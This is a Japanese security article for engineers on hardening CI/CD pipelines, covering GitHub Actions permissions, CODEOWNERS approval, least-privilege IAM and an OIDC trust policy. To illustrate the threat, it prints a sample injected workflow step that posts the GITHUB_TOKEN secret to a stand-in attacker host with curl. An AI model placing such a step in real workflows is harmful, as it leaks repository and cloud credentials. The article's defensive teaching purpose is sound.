現場のエンジニア諸君、お疲れ様。
今日は「CI/CDパイプライン」という、現代のソフトウェア開発において最も「おいしい」標的について話をしよう。
多くのチームが「コードさえレビューしていれば安全だ」と思い込んでいるが、それは大きな勘違いだ。泥臭い現場では、攻撃者はアプリケーションコードの脆弱性よりも、それをビルドし、デプロイするための「パイプライン定義ファイル」を狙っている。なぜなら、ここを書き換えれば、認証を突破せずとも、本番環境で任意のコードを実行できるからだ。
1. なぜ「パイプライン定義ファイル」が狙われるのか(PoC的視点)
GitHub ActionsやGitLab CIの設定ファイル(.github/workflows/*.yml など)は、まさに「鍵のかかっていない金庫」になり得る。
例えば、攻撃者がリポジトリにプルリクエストを投げ、レビュー担当者の目を盗んで以下のような不正なステップを注入したとする。
# 攻撃者が紛れ込ませた悪意あるステップの例
- name: Extract secrets
run: |
# 環境変数を外部サーバーへ送信する悪意あるコマンド
curl -X POST -d "env=${{ secrets.GITHUB_TOKEN }}" https://attacker-server.com/log
これを通してしまうと、そのパイプラインが持つ権限で、GitHubのシークレット情報やクラウドの認証情報が外部に漏洩する。最悪の場合、デプロイ先のサーバーへバックドアを仕込むことも容易だ。CI/CDパイプラインは「本番環境への物理的なアクセス権」を持っているに等しいことを忘れてはならない。
2. 「防御」の要諦:厳格な保護戦略
パイプラインの保護には、単なる「コードレビュー」以上の対策が必要だ。以下の3つの防波堤を構築せよ。
A. 環境変数とシークレットのスコープ制限
GitHub Actionsであれば、permissionsブロックを最小限に絞り込むのが鉄則だ。デフォルトで全て許可するような甘い設定は今すぐ廃止せよ。
# セキュアなAction定義のサンプル
name: Build and Deploy
on: [push]
# 最小限の権限セット(デフォルトをnoneにするのが基本)
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Build
# 実行時に必要な権限だけを明示的に付与する
run: ./build.sh
B. コードオーナーによる強制承認(CODEOWNERS)
リポジトリのルートに .github/CODEOWNERS を配置し、CI/CD設定ファイルへの変更は、セキュリティ知識を持つシニアエンジニアの承認がないとマージできないよう強制する。
# .github/CODEOWNERS の例
# CI/CD定義ファイルは、セキュリティチームの承認を必須にする
.github/workflows/ @security-team-members
C. パイプライン実行環境の分離(インフラ側の対策)
CI/CDが使うIAMロールには「最小権限の原則」を適用せよ。例えば、S3へのデプロイなら、s3:PutObject だけを許可し、s3:DeleteBucket や iam:* は絶対に許可してはならない。
—
3. 【実務的Tips】WAFとIAMの連携で防御を固める
パイプラインからデプロイ先のサーバーへアクセスする際、IP制限をかけるのは基本だが、クラウド環境なら「OIDC(OpenID Connect)」を活用すべきだ。恒久的なシークレットキーをCI/CDに保持させるのは、家の鍵を玄関先に置いておくようなものだ。
AWS IAMロールの信頼ポリシー例(OIDC使用):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/my-app:*"
}
}
}
]
}
このように、リポジトリ単位で「そのパイプラインしか使えない一時的な権限」を払い出す設計にすることで、万が一設定ファイルが侵害されても、攻撃者が得られる影響範囲を劇的に狭めることができる。
最後に
「面倒くさい」と感じたなら、それがセキュリティの綻びの始まりだ。
CI/CDパイプラインは、開発のスピードを加速させるためのツールだが、同時に「攻撃の高速道路」にもなり得る。
今日の宿題:
明日出社したら、リポジトリの .github/workflows/ を確認してくれ。そこに書かれている内容は、全エンジニアが内容を把握しているか? permissions は過剰ではないか?
セキュリティは、ツールを入れることではなく、こうした「設定の積み重ねへの執着」によって完成する。健闘を祈る。
コメント